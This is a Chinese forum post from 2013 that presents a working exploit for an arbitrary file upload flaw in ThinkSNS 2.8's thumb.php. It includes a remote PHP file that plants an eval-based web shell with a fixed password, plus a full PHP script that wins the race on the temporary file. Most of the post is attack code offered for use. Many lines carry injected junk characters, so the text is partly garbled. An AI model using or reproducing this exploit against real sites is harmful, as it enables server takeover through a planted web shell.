找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1996|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞版本: F* I( R! v7 E$ h4 w  E0 U' J- q' i
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
. ?& s7 p5 _/ X! y漏洞文件6 l9 Y% e) U- x+ F
存在漏洞的文件为:thumb.php
' b; r8 j4 m5 @6 \0 ?作者:韦鲲鹏
4 l2 ~% R7 [7 o, S$ `1、        准备如下PHP文件并上传到服务器(自己的)。
: o/ ^  z3 X3 L; v/ O文件内容如下:
0 A0 F, t( D; {+ b( w1 F<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
) d; r5 x# `! _* X2、        计算出临时的文件名:" b/ b% i1 p9 f' C) @) R0 s: P
这里我们可以看文件的99行(刚刚是不是没注意呀!)。- l) L- m' e+ \( L" |8 D

0 [" p. _4 S% H3 b5 L# {6 U  m3、        上传临时文件。# M5 G* v1 d. O8 n2 s6 [- w4 x( u
4、        访问临时文件。( s! `. \4 F1 W! @; z1 O
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
; T5 P( @% u# o" LExploit文件内容如下:(这个我就不详细解释了)
: ]7 s9 e* V0 n$ q. P<?php, R4 F$ G( H0 B* w
error_reporting(0);8 K, V8 s% I# \
set_time_limit(0);
: \7 q8 d! R+ j; q: @ini_set(“default_socket_timeout”, 5);% I* I" o9 S6 F* ~/ D( S! C4 W
function http_send($host, $port, $headers) {! ~$ O! w/ J) @
$fp = fsockopen($host, $port);
9 f; w, w7 J& I% y( _4 Tif (!$fp) die(‘Connection -> fail’);
/ y1 I( Y& |" [& S$ s7 _8 I8 }9 |fputs($fp, $headers);+ t2 ?0 J- z+ p5 [) C
return $fp;7 i! ]: A7 _7 {: h5 P0 P. w& ^
}& r& V' h) F1 [  \
function http_recv($fp) {
8 \4 ?; `3 l. W" A* y5 _0 C% b1 l$ret=”";) |$ X+ a7 Z, S1 w# P
while (!feof($fp))
6 Y$ I1 w0 A  i  _) W$ret.= fgets($fp, 1024);
8 r0 T2 ?) g* ~! R; f/ T$ Zfclose($fp);
* a0 `  T# f' o. G' }return $ret;
6 ?$ u! Z2 e* L9 J+ c}
$ w* Q/ A) T+ ^6 N8 e  |7 Oprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
# ~3 l" k3 x; d8 \7 ?8 Qprint “# Discovered by 韦鲲鹏 #\n\n”;
4 B9 ^7 }) i# x% K8 d5 G6 Mif ($argc < 4) {$ Q& G; ~  |( _3 C4 `  V
print “Usage:   php <host> <path> <romote_url>\n”;8 E  Q1 d' r- O9 S& d
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;" |4 _9 ^9 b: T# p# q
die();, |+ }3 K; B5 U) ~5 |/ J8 h2 `
}
& A0 X5 m) N) O: ]" t) P# H$host = $argv[1];
7 P: X& s9 E; g, O: H7 ~% q5 d+ Q$path = $argv[2];8 z0 H7 C1 U3 J9 d8 \; l4 M8 {9 a7 I, I
$url = $argv[3];: F/ P+ o5 a& L1 f0 T. f
$i=0;1 J0 @8 r8 _0 M3 ]$ H
//上传数据包; ^# Q7 ?7 q7 r4 p  l- h
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
" N" |4 g. y6 o& f; \9 ^' R8 E3 i$headers_up .= “Host: “.$host.”\r\n”;
/ {6 M3 B* `2 Y% h  F1 h, |$headers_up .= “Connection: close\r\n\r\n”;
3 s% x* e9 I7 t+ ?echo $headers_up;) r+ ]1 B  |. p, K! b: V2 I3 d3 q
//临时文件访问数据包: u  Y, b2 B9 r- N( v( t
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;6 F# i! [: B. q* J$ f5 E6 I
$headers .= “Host: “.$host.”\r\n”;+ p+ q, O  m7 {) a1 h7 p
$headers .= “Connection: close\r\n\r\n”;4 S! n1 P$ o9 K4 G
echo $headers;% ]7 B: d) c; o  T( g) L
while(++$i<10) {6 A+ o# V  q0 j# d
fclose(http_send($host, 80, $headers));' F3 K  m" V$ \$ G5 Z: K. i
}
- Q) Q. i4 O9 Cfclose(http_send($host, 80, $headers_up));/ X( J9 Q0 A4 E) t; b
while(++$i<50) {
) `# h$ y$ l* {& G. ]fclose(http_send($host, 80, $headers));$ \3 x3 A8 a8 ?, q8 E
}
+ x0 A" m' m7 l3 b$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;9 U. t! n+ F/ y3 m3 S: {
$headers .= “Host: “.$host.”\r\n”;
! H, E9 M$ e& d5 W$headers .= “Connection: close\r\n\r\n”;
. `# n4 U7 m* N! e. [6 c$res=http_recv(http_send($host, 80, $headers));4 p: ~* A% t3 t
if(preg_match(‘/200 OK/’,$res)) {
; r: ~9 _4 \: {0 ^& Z+ rprint “Success!\n\n”;
% S# H$ [7 j% m! o7 y' J+ }! x* V; _} else {
  I* y+ m4 ]6 U5 b' c8 y! _+ Rprint “Fail!\n\n”;
- u( g2 h. m, C% u}
5 r- ~3 a0 H2 e) r, R% [9 _/ ??>8 g4 K5 {" G: h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表